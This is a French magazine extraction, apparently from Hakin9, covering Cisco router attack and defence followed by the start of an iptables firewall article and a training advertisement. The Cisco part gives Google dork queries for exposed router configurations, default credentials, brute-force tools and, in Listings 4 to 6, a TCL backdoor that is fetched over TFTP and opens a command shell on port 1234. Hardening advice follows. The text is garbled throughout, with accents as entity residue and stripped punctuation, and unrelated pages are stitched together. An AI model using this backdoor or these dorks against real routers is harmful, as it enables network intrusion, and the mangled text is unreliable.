Il est cependant agrave noter que Dynamips a des limita-tions car incapable deacutemuler des fonctionnaliteacutes comme le spanning tree ou le DTP (Dynamic Trunk Protocol)

ne mais uniquement des modules dacceacuteleacuteration hard-ware

De plus deacuteterminer les types de paquets consom-mateurs de ressources (TTL=0 paquets avec options hellip) permet de cibler les attaques de deacuteni de service et daugmenter leur efficaciteacute

architecture SoftwareLIOS Cisco est un systegraveme dexploitation monolithique cest-agrave-dire que lensemble des fonctions et des pilotes sont regroupeacutes dans un seul bloc binaire agrave la compi-lation Derniegraverement Cisco a proposeacute des IOS modu-laires mais la majoriteacute des OS Cisco restent monolithi-ques

Il existe environ 20000 versions de lIOS Cisco point important agrave savoir pour le travail sur lexploitation dune machine car les adresses de retour les fonctionnaliteacutes et le code diffegraverent dune version agrave lautre

Larchitecture du systegraveme dexploitation est tregraves sim-ple elle est composeacutee du Kernel du code des peacuteripheacute-riques dont le code responsable de la commutation ra-pide et finalement des processeurs

Aucun meacutecanisme de protection de la meacutemoire nest

Listing 1 Emulation dun routeur Cisco

dynamips-027-x86bin -t npe-400 -p 1PA-A1 -p 2PA-4E -p 3PA-8E c7200-jk9s-mz124-18cbin

Cisco Router Simulation Platform (version 027-x86)

Copyright (c) 2005-2007 Christophe Fillot

Build date May 26 2007 115128

IOS image file c7200-jk9s-mz124-18cbin

CPU0 carved JIT exec zone of 64 Mb into 2048 pages of 32 Kb

NVRAM is empty setting config register to 0x2142

C7200 instance default (id 0)

VM Status 0

RAM size 256 Mb

IOMEM size 0 Mb

NVRAM size 128 Kb

NPE model npe-400

Midplane vxr

IOS image c7200-jk9s-mz124-18cbin

Loading ELF file c7200-jk9s-mz124-18cbin

ELF entry point 0x80008000

C7200 default starting simulation (CPU0 PC=0xffffffffbfc00000) JIT enabled

ROMMON emulation microcode

Launching IOS image at 0x80008000

Self decompressing the image

[OK]

6201014

Pratique

Dynamips marche aussi bien sur Windows que sur Linux ou Unix il a besoin dune version de lIOS Cisco

Dynamips a eacuteteacute compleacuteteacute par dautres outils (Dyan-gen et GNS3) qui facilitent linterconnexion de plusieurs routeurs virtuels et permettent de simuler plus facile-ment tout un reacuteseau sur une seule machine

Leacutemulation dun routeur est un excellent moyen pour se familiariser avec la ligne de commande Cisco et les diffeacuterents services quils proposent

Pour des besoins de debugging et pour mieux com-prendre le fonctionnement des processeurs et du Ker-nel lIOS Cisco supporte le protocole GDB de debug-ging et ce agrave travers une connexion agrave linterface seacuterie GDB existe aussi sur TCP malheureusement Cisco ne le supporte pas

Limpleacutementation du protocole est leacutegegraverement diffeacute-rente de la version GNU Vous pouvez cependant utili-ser loutil BinNavi de Zynamics supportant diverses im-pleacutementations de GDB

Pour activer le protocole GDB utilisez la comman-de gdb kernel et lancez votre outil de debugging en seacuterie

Deacutecouverte et eacutenumeacuterationCette partie sinteacuteresse aux techniques de deacutecouverte et deacutenumeacuteration propre au monde des routeurs et du routage les techniques de deacutecouverte active avec des outils comme nmap sont assez connus et ont deacutejagrave eacuteteacute abordeacutees dans dautres articles

Larticle se focalisera sur le googleHacking sur leacutenu-meacuteration BGP et AS et sur lextraction dinformations agrave partir des protocoles de routage utiliseacutes

Googlehacking cette technique efficace pour collec-ter des informations et trouver des plates-formes vulneacute-rables sappuie sur une bonne connaissance des opeacute-rateurs Google (voir Table 1)

Le tableau est une liste reacuteduite des principaux opeacutera-teurs il est eacutegalement possible dutiliser des fonction-naliteacutes de recherches avanceacutees en manipulant lURI de google

Le grand inconveacutenient de cette technique est le nom-bre de fausses alertes il est donc important de sarmer

de patience et dessayer petit agrave petit dameacuteliorer leffica-citeacute des mots rechercheacutes

Le principe pour trouver des fichiers de configuration est assez simple rechercher des commandes utiliseacutes dans un fichier de configuration des extensions don-neacutees aux fichiers de configuration (cfg conf log txt) et des mots cleacutes en relation dans lURI (-cfg cisco conf )

Voici une liste non exhaustive des diffeacuterentes expres-sions que vous pouvez utiliser pour trouver des fichiers de configuration vous pouvez vous en inspirer pour trouver dautres expressions plus efficaces (cf Listing 2)

Cette technique tregraves simple permet aux script-kid-dies de trouver des cibles faciles Cependant la majo-riteacute des fichiers de configuration trouvables sur google restent inexploitables (utilisation dadressages priveacutes RFC1918 proteacutegeacutes par des pare-feux ou tregraves anciens et plus utiliseacutes)

Routage collecter des informations sur le routage dune organisation permet de mieux comprendre son in-frastructure reacuteseau ses points dinterconnexions et sa reacutesilience contre les attaques de deacuteni de service

Les informations sur le peering et le routage BGP sont facilement disponibles sur des sites comme rob-tex nous pouvons en deacuteduire les opeacuterateurs dune en-treprise les scopes IP alloueacutes et la distribution de trafic par lien

Les registres de routages et les looking glass sont aussi des sources preacutecieuses dinformations elles per-mettent de mener des tests de ping et traceroute afin de deacutetecter deacuteventuelles regravegles de filtrage et donnent une meilleure cartographie du reacuteseau

Des outils comme ASS et Polyphemus permettent de collecter des informations sur les protocoles internes de routage (OSPF RIP hellip) et didentifier les protocoles uti-liseacutes et le niveau de seacutecuriteacute appliqueacute (cf Listing 3)

exploitation et maintien daccegravesLa meacutethode la plus simple et la plus directe pour ex-ploiter nimporte quelle plate-forme consiste agrave trouver des services de gestion exemple du Telnet ou SSH

table 1 Liste opeacuterateurs Google

Opeacuterateur Description Exemplesite Appliquer la recherche sur le site indiqueacute

seulementURPF sitewwwciscocom

filetype Chercher les fichiers du type indiqueacute Google search cheat sheet filetypepdf

inurl LURL contient le mot rechercheacute laquoCisco confraquo inurlforum

related Lister les sites web similaires Relatedwwwsecurityfocuscom

intext Le site contient les mots rechercheacutes Intextlaquoenable password 7raquo

cache Acceacuteder agrave la version en cache sur les se-rveurs google

cachewwwsecurity-databasecom

intitle Chercher dans les titres des pages web intitleindexof ios parent directory bin

Seacutecuriteacute CiSCO

hakin9orgfr 15

et de lancer des attaques de brute force par diction-naire

Pour essayer de compromettre les mots de passe dune machine privileacutegiez les mots de passe par deacute-faut et les comptes triviaux ciscocisco adminadmin testtest

Vous serez eacutetonneacute de voir combien ces mots de passe sont utiliseacutes vous pouvez dailleurs vous en rendre compte en deacutechiffrant les mots de passe des fichiers de configuration trouvables avec le google-hacking

Hydra et cisco-torch peuvent servir pour avoir ac-cegraves agrave la machine en brute forccedilant les protocoles suivant telnet ssh web et snmp Lrsquooutil enabler permet de brute forcer laccegraves aux privilegraveges plus eacuteleveacutes

Ce type dattaque est tregraves bruyant nimporte quel outil de correacutelation de log est capable de le deacutetecter

Pour compromettre un routeur ou un commutateur Cisco il est possible dexploiter une vulneacuterabiliteacute dun des services activeacutes lIOS Cisco reste difficile agrave exploi-ter et la grande majoriteacute des vulneacuterabiliteacutes ne causent que des deacutenis de service

OSVDB CVE et SecuriyVulnentrabilitynet reacutefeacuteren-cent un tregraves grand nombre de vulneacuterabiliteacutes publieacutees et renvoient vers des codes dexploitation (packetstorm exploit-db)

Cette meacutethode digne dun script-kiddie est rare-ment efficace contre les systegravemes dexploitation Cisco car comme indiqueacute preacuteceacutedemment le grand

nombre de versions dOS rend difficile la reacutedaction de code dexploitation fonctionnat sur toutes les ver-sions

Apregraves compromission de la machine il est possible dutiliser un script TCL pour creacuteer un trojan sur la plate-forme

Voici un exemple dun trojan TCL sur le routeur (cf Listing 4)

Ce script eacutecoute sur le port 1234 vous pouvez le mo-difier en changeant la commande set port 1234 par le port que vous voulez utiliser

approche deacutefensiveDeacutesactivation des services inutiliseacutes le durcisse-ment du Management Plane commence par la deacutesac-tivation de tous les services inutiliseacutes qui sont parfois vulneacuterables ou grand consommateurs de ressources donc vecteurs dattaques de deacutenis de service (cf Lis-ting 7)

Voici une liste assez complegravete des principaux servi-ces agrave deacutesactiver

bull PADbull MOPbull Fingerbull Bootpbull DNSbull Services TCP et UDP (Echo Chargen Discard)bull Script TCLbull CDP et LLDP sur les interfaces externes

Listing 2 Requecirctes googleHacking

no service single-slot-reload-enable enable secret

5 filetypeshtml -inurlcisco

ip ftp password 05080F1C2243

filetypecfg intextcisco

inurl-cfg intextenable secret

intitlelevel15exec

Listing 3 Utilisation dASS

test ass -mA -i eth0 -D 192168110 -b15 -v

ASS [Autonomous System Scanner] $Revision 214 $

(c) 2k FX ltfxphenoelitdegt

Phenoelit (httpwwwphenoelitde)

No protocols selected scanning all

Running scan with

interface eth0

Autonomous systems 0 to 15

delay is 1

in ACTIVE mode

Building target list

192168110 is alive

Scanning

Scanning IGRP on 192168110

Scanning IRDP on 192168110

Scanning RIPv1 on 192168110

shutdown

gtgtgtgtgtgtgtgtgtgtgtgt Results gtgtgtgtgtgtgtgtgtgtgt

192168110

IGRP

AS 00010 10000 (500001111111147625510)

IRDP

192168110 (18000)

192168999 (18000)

RIPv1

10000 (1)

Listing 4 Trojan TCL ndash routeur

Routergten

Routertclsh

Router(tcl)source tftptftpservertclshtcl

6201016

Pratique

Authentification et politique de mots de passe une politique stricte de mots de passe est agrave appliquer il est preacuteconiseacute dutiliser une forme dauthentification AAA

preacutefeacuterablement Tacacs+ afin de garder une trace des actions et des modifications appliqueacutees Les mots de passe des comptes locaux doivent utiliser un chiffrage

Listing 5 Trojan TCL ndash machine drsquoaccegraves

$ telnet router 1234

Trying router

Connected to router

Escape character is ^]

-------------------------------------

TclShell v01 by Andy Davis IRM 2007

-------------------------------------

Cisco IOS Software C2600 Software (C2600-

ADVENTERPRISEK9-M) Version

124(17) RELEASE

SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command

show running-config

Building configuration

Current configuration 743 bytes

version 124(17)

service timestamps debug uptime

ltCUTgt

Listing 6 Trojan TCL ndash code source

TclShelltcl v01 by Andy Davis IRM 2007

IRM accepts no responsibility for the misuse of this

code

It is provided for demonstration purposes only

proc callback sock addr port

fconfigure $sock -translation lf -buffering line

puts $sock

puts $sock -------------------------------------

puts $sock TclShell v01 by Andy Davis IRM 2007

puts $sock -------------------------------------

puts $sock

set response [exec sh ver | inc IOS]

puts $sock $response

set response [exec sh priv]

puts $sock $response

puts $sock

puts $sock Enter IOS command

fileevent $sock readable [list echo $sock]

proc echo sock

global var

if [eof $sock] || [catch gets $sock line]

else

set response [exec $line]

puts $sock $response

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh

Listing 7 Deacutesactivation des services

no scripting tcl init

no scripting tcl encdir

no service tcp-small-servers

no service udp-small-servers

no ip bootp server

no ip finger

no service dhcp

no ip domain lookup

no service pad

no ip http server

no ip http secure server

no ip gratuitous arp

Listing 8 Seacutecurisation de lauthentification locale

service password encrytpion

enable secret level ltlevelgt ltpasswordgt

no enable password

security authentication failure rate 10 log

security password min-length 6

Listing 9 Configuration seacutecuriseacutee de la journalisation

logging ltaddressgt

no logging console

no logging monitor

logging source-interface loopback 0

Listing 10 Configuration seacutecuriseacutee des accegraves

line vty 0 6 ltline numbersgt

transport input ssh

transport output none

exec-timeout 5 0

access-class 140 in

ip access-list extended 140

remark Management access restriction

ltaccess-listgt

deny ip any any log

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

